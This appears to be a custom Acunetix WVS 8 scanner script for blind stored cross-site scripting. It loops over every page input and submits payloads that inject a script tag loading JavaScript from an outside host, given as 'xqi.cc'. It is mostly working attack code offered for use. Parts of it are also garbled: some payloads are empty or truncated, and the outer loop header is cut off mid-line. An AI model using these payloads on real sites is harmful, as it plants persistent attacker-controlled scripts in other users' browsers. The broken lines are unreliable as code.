// // https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/ // // Rename to Blind_XSS.script and place this in C:\ProgramData\Acunetix WVS 8\Data\Scripts\ // You need co change the ctrl variable below to set the destination of the script to be // executed. // var targetUrl = new TURL(scanURL.url); logInfo("Started Blind Stored XSS on " + targetUrl); // Change for the host containing the JS payload: var ctrl = 'xqi.cc'; var payloads = [ '', '"><"', "'><'", "\" onmouseover=\"var n=document.createElement('script'); n.type='text/javascript';n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);", "\" onload=\"var n=document.createElement('script'); n.type='text/javascript';n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);", "\" onmouseover=\"var n=document.createElement('script'); ext/javascript';n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);", "\" onload=\"var n=document.createElement('script'); n.src='//" + ctrl + "'; x=document.getElementsByTagName('head'); x[0].appendChild(n);" ]; var scheme = getCurrentScheme(); // a scheme can have multiple inputs for (var i=0;i for (var k = 0; k < payloads.length; k++) { scheme.setInputValue(i, payloads[k]); scheme.populateRequest(job); job.execute(); } } }